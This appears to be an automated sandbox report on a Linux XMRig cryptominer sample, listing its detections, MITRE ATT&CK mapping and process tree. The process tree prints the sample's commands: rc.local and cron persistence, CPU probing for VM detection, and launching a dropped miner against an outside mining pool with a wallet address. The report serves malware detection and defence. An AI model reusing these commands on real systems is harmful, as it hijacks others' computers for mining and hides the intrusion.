Overview

overview

10

Static

static

10

Linux64

ubuntu-18.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/11/2026, 12:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Linux64
  • Size 1.1MB
  • Sample261109-pgj6dsfc89
  • SHA256 f1442343f5dd6f07389a08df36d2b140f4bf996c641dda6a3d60f9cfe2447dc2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 1 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 2 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 47 IoCs
    discovery
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Linux64
    /tmp/Linux64
    1⤵
    • Creates/modifies Cron job
    • Modifies rc script
    • Reads CPU attributes
    • Reads system network configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1525
    • /bin/sh
      sh -c "/sbin/service crond start;chkconfig –level 35 crond on;"
      2⤵
        PID:1527
        • /sbin/service
          /sbin/service crond start
          3⤵
            PID:1529
        • /bin/sh
          sh -c "ulimit -HSn 65536"
          2⤵
            PID:1538
          • /bin/sh
            sh -c "ehco /tmp/Linux64 start >>/etc/rc.local"
            2⤵
            • Modifies rc script
            PID:1539
          • /bin/sh
            sh -c "cat /proc/cpuinfo|grep cpu\\ MHz|sed -e 's/.*:[^0-9]//'"
            2⤵
              PID:1545
              • /bin/sed
                sed -e "s/.*:[^0-9]//"
                3⤵
                  PID:1548
                • /bin/cat
                  cat /proc/cpuinfo
                  3⤵
                  • Checks CPU configuration
                  PID:1546
                • /bin/grep
                  grep "cpu MHz"
                  3⤵
                    PID:1547
                • /bin/sh
                  sh -c "cat /proc/cpuinfo|grep cpu\\ MHz|sed -e 's/.*:[^0-9]//'"
                  2⤵
                    PID:1549
                    • /bin/sed
                      sed -e "s/.*:[^0-9]//"
                      3⤵
                        PID:1552
                      • /bin/grep
                        grep "cpu MHz"
                        3⤵
                          PID:1551
                        • /bin/cat
                          cat /proc/cpuinfo
                          3⤵
                          • Checks CPU configuration
                          PID:1550
                      • /bin/sh
                        sh -c "chmod 777 /tmp/spreadVhijkl;/tmp/spreadVhijkl -o stratum+tcp://43.157.55.140:8889 -u 4AAjsvwrMQxBJpExraeoqdKrV8bwz2kkJG7P4axGTSip46CjmCrvSa8dztbNC4n6XuLr8wiXYgxS9c979hpdmi6s3LCNNja -p X -a cn/r -l /tmp/spreadVhijkl.txt"
                        2⤵
                        • File and Directory Permissions Modification
                        • Executes dropped EXE
                        PID:1553
                        • /bin/chmod
                          chmod 777 /tmp/spreadVhijkl
                          3⤵
                          • File and Directory Permissions Modification
                          PID:1554
                        • /tmp/spreadVhijkl
                          /tmp/spreadVhijkl -o stratum+tcp://43.157.55.140:8889 -u 4AAjsvwrMQxBJpExraeoqdKrV8bwz2kkJG7P4axGTSip46CjmCrvSa8dztbNC4n6XuLr8wiXYgxS9c979hpdmi6s3LCNNja -p X -a cn/r -l /tmp/spreadVhijkl.txt
                          3⤵
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:1555

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Boot or Logon Initialization Scripts

                          1
                          T1037

                          RC Scripts

                          1
                          T1037.004

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Boot or Logon Initialization Scripts

                          1
                          T1037

                          RC Scripts

                          1
                          T1037.004

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Defense Evasion

                          File and Directory Permissions Modification

                          1
                          T1222

                          Linux and Mac File and Directory Permissions Modification

                          1
                          T1222.002

                          Virtualization/Sandbox Evasion

                          2
                          T1497

                          System Checks

                          2
                          T1497.001

                          Credential Access

                          Discovery

                          System Information Discovery

                          3
                          T1082

                          System Network Configuration Discovery

                          1
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          Virtualization/Sandbox Evasion

                          2
                          T1497

                          System Checks

                          2
                          T1497.001

                          Lateral Movement

                          Collection

                          Command and Control

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          spreadVhijkl
                          • Path /tmp/spreadVhijkl
                          • Size 3.0MB
                          • SHA256 37f975cb5b9ce21f3c153cdb1f7ff3e9d56950b0e10fb58b7b8a3814c1f8ca11
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download